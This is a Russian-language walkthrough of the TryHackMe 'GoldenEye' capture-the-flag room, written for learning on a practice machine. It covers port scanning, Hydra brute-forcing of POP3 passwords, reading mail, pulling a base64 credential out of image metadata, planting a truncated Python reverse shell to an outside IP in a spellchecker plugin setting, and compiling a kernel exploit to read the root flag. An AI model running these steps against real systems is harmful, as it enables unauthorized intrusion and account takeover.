TryHackMe - GoldenEye
Очень изнурительная охота за флагом через сайты и плагины
Introduction
Ок, этот рум имеет рейтинг Medium, и это справедливо. Я с ним реально намучился, но и выучил много нового.
Task 1
Начнём со сканирования nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nmap -T4 -n -sC -sV -Pn -p- 10.10.177.35
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after: 2028-04-21T03:22:34
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
55006/tcp open ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_pop3-capabilities: USER SASL(PLAIN) TOP PIPELINING AUTH-RESP-CODE UIDL RESP-CODES CAPA
55007/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: TOP RESP-CODES SASL(PLAIN) STLS CAPA AUTH-RESP-CODE UIDL PIPELINING USER
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
Вопрос: Используя nmap, просканируйте сеть по всем портам. Сколько портов открыто?
Ответ:
1
4
Перейдём на сайт 10.10.177.35:80
Мы можем увидеть закодированный пароль в исходном коде terminal.js
Похоже, что он закодирован с помощью HTML
Вопрос: Кому нужно убедиться, что он обновил пароль по умолчанию?
Ответ:
1
boris
Вопрос: Whats their password?
Ответ:
1
<CENSORED>
Нам удалось войти, используя эти учетные данные.
Задание 2
Давайте найдём пароль для pop3
1
$ hydra -l boris -P /usr/share/wordlists/rockyou.txt -t20 10.10.177.35 -s 55007 -I pop3
Вопрос: Maybe Hydra? Whats their new password?
Ответ:
1
se<CENSORED>
1
2
3
4
5
6
7
8
9
$ telnet 10.10.177.35 55007
Trying 10.10.177.35...
Connected to 10.10.177.35.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS <CENSORED>
+OK Logged in.
Теперь мы можем просмотреть письма с помощью команд RETR 1, 2 и 3
1
2
3
4
5
6
7
8
9
10
11
12
13
RETR 1
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id D9E47454B1
for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
1
2
3
4
5
6
7
8
9
10
11
12
13
RETR 2
+OK 373 octets
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id C3F2B454B1
for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu
Boris, I can break your codes!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
RETR 3
+OK 921 octets
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id 4B9F4454B1
for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....
PS - Keep security tight or we will be compromised.
Здесь нет ничего интересного, но у нас появились новые имена пользователей, и мы можем попробовать забрутфорсить их
1
$ hydra -l natalya -P /usr/share/wordlists/rockyou.txt -t20 10.10.177.35 -s 55007 -I pop3
Вопрос: Изучи порт 55007, какой сервис настроен на этом порту?
Ответ:
1
telnet
Вопрос: Что можно найти на этом сервисе?
Ответ:
1
emails
Вопрос: Какой пользователь может взломать коды Бориса?
Ответ:
1
natalya
Task 3
Давайте добавим severnaya-station.com в файл /etc/hosts
1
2
sudo nano /etc/hosts
10.10.177.35 severnaya-station.com
Давайте посетим severnaya-station.com/gnocertdir.
Мы видим форму входа. После нескольких попыток можно использовать учетные данные пользователя Xenia.
Осмотревшись, мы находим еще одного пользователя — dr_doak.
После брутфорса пароля мы можем войти как Dr Doak, и в его приватных файлах находим s3cret.txt.
1
2
3
4
5
6
7
8
9
10
└─$ cat s3cret.txt
007,
I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg
Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
Давайте скачаем файл и посмотрим, что в нём находится
1
2
$ wget 10.10.177.35/dir007key/for-007.jpg
exiftool for-007.jpg
Внутри мы видим строку, закодированную в base64
1
2
└─$ echo <OUR STRING FROM FILE> | base64 -d
<PASSWORD>
Итак, теперь мы можем войти как admin, так как у нас есть учётные данные.
Задание 4
Честно говоря, здесь я немного застрял, поэтому воспользовался подсказкой с сайта TryHackMe:
HINT: Take a look into Aspell, the spell checker plugin
Проверяем этот плагин и видим, что у нас есть возможность вставить туда reverse shell.
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.75.122",1337)
Не сработало.
После вставки кода нужно добавить новую запись, а затем запустить плагин spellcheck. Это действие триггерит код, и мы получаем reverse shell соединение.
Вопрос: Какая версия ядра?
Ответ:
1
3.13.0-32-generic
Чтобы получить последний флаг, нам рекомендуют использовать эксплойт:
https://www.exploit-db.com/exploits/37292
Скачиваем его и адаптируем под наши нужды. После получения доступа к машине эксплойт необходимо скомпилировать.
1
2
$ cc exploit.c -o exploit
./exploit
1
2
cat /root/.flag.txt
<CENSORED>



